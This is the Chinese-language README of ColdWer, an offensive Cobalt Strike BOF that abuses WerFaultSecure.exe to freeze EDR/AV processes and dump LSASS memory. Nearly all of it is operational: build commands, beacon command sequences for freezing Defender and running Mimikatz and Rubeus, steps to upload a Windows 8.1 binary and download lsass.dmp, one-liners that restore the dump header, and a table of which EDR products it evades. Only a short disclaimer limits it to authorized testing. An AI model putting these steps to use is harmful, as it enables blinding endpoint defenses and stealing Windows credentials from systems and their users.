在你的端点上打一场冷战。
ColdWer 利用 WerFaultSecure.exe PPL 绕过技术,在现代 Windows 系统上冻结 EDR/AV 进程并转储 LSASS 内存。
C O L D W E R
└─┴─┴── WerFaultSecure
└─┴──────── LSASS 转储
└─┴──────────── 冷(冻结)
冻结你的 EDR/AV。提取你需要的信息。保持冷静。
Sh3llf1r3 (@0xsh3llf1r3)
本项目基于 TwoSevenOneT (@TwoSevenOneT) 的研究成果:
| 项目 | 描述 |
|---|---|
| EDR-Freeze | 原始 EDR 冻结技术 |
| WSASS | 通过 WerFaultSecure 转储 LSASS |
底层技术的所有功劳归于 TwoSevenOneT。
git clone https://github.com/0xsh3llf1r3/ColdWer.git
cw/coldwer.cna# 进入源码目录
cd src/
# 编译 BOF(需要 MinGW)
make
# 或手动编译:
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o
coldwer.o 和 coldwer.cnacoldwer.cna# 查找 Windows Defender PID
beacon> ps
# 冻结进程
beacon> cw-freeze 1337
# 在 EDR/AV 冻结时执行命令
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage
# 完成后解冻
beacon> cw-unfreeze
# 步骤 1:上传 Win8.1 WerFaultSecure.exe
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe
# 步骤 2:查找 LSASS PID
beacon> ps
# 步骤 3:转储 LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe
# 步骤 4:下载转储文件
beacon> download C:\Windows\Temp\lsass.dmp
更改文件头部以恢复 minidump 格式:
| 原始 (PNG) | 改为 (MDMP) |
|---|---|
89 50 4E 47 | 4D 44 4D 50 |
恢复头部命令:
| 方法 | 命令 |
|---|---|
| Python | open('lsass.dmp','r+b').write(b'MDMP') |
| Bash | printf '\x4d\x44\x4d\x50' | dd of=lsass.dmp bs=1 count=4 conv=notrunc |
| PowerShell | $f=[IO.File]::Open("lsass.dmp","Open","Write");$f.Write([byte[]](0x4D,0x44,0x4D,0x50),0,4);$f.Close() |
然后使用 Mimikatz 解析:
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords
| 命令 | 描述 |
|---|---|
cw-freeze <PID> [Path] | 冻结进程 |
cw-unfreeze | 解冻先前冻结的进程 |
cw-dump <PID> <Path> | 转储 LSASS 内存 |
# 使用默认路径冻结
beacon> cw-freeze 1337
# 使用自定义 WerFaultSecure.exe
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe
# 转储 LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe
# 完成后解冻
beacon> cw-unfreeze
| 目标 | 状态 |
|---|---|
| Windows Defender (MsMpEng.exe) | ✅ 有效 |
| LSASS (lsass.exe) | ✅ 有效 |
| 其他 PPL 进程 | ✅ 有效 |
对于具备内核态自保护的 EDR 无效:
| EDR | 状态 |
|---|---|
| Elastic Endpoint | ❌ 被阻止 |
| CrowdStrike Falcon | ❌ 被阻止 |
| SentinelOne | ❌ 被阻止 |
| Carbon Black | ❌ 被阻止 |
1. 🚀 以 PPL(WinTcb 级别)启动 WerFaultSecure.exe
↓
2. 🎯 WerFaultSecure 附加到目标进程
↓
3. ⏸️ MiniDumpWriteDump 挂起所有目标线程
↓
4. 🥶 挂起 WerFaultSecure 本身 → 目标保持冻结状态
↓
5. ✅ 执行您的命令(EDR/AV 无法察觉!)
↓
6. 🔥 终止 WerFaultSecure → 目标解冻
| 版本 | 输出 |
|---|---|
| Windows 10/11 | 仅加密转储 |
| Windows 8.1 | 原始未加密转储 |
⚠️ 仅限授权安全测试
本工具仅供以下用途:
- 授权的渗透测试
- 具有书面授权的红队行动
- 受控环境中的安全研究
作者不对任何滥用或由本工具造成的损害负责。
未经授权访问计算机系统是违法的。
MIT 许可证 - 参见 LICENSE
🥶 保持冷静。保持安静。🥶
⭐ 如果您觉得有用,请给这个仓库加星!⭐
| 功能 | 描述 |
|---|
| ❄️ 冻结 | 将 EDR/AV 进程置于休眠状态 |
| 🔓 转储 | 绕过 PPL 提取 LSASS 内存 |
| 🛡️ PPL 绕过 | 利用 WinTcb 级别的 WerFaultSecure.exe |
| ⚡ 快速 | 内联 BOF 执行 |
| 🎯 手动控制 | 您决定何时冻结和解冻 |
| 错误 | 原因 | 解决方案 |
|---|
| 文件未找到 | 路径无效 | 检查 WerFaultSecure.exe 路径 |
| 访问被拒绝 | 权限不足 | 以管理员/SYSTEM 身份运行 |
| 签名无效 | 未签名的二进制文件 | 使用正确签名的 WerFaultSecure.exe |
| 进程不存在 | PID 错误 | 使用 ps 命令验证 PID |
| 目标受保护 | 内核保护 | EDR 具有自保护(无法绕过) |
| 已冻结 | 状态卡住 | 先运行 cw-unfreeze |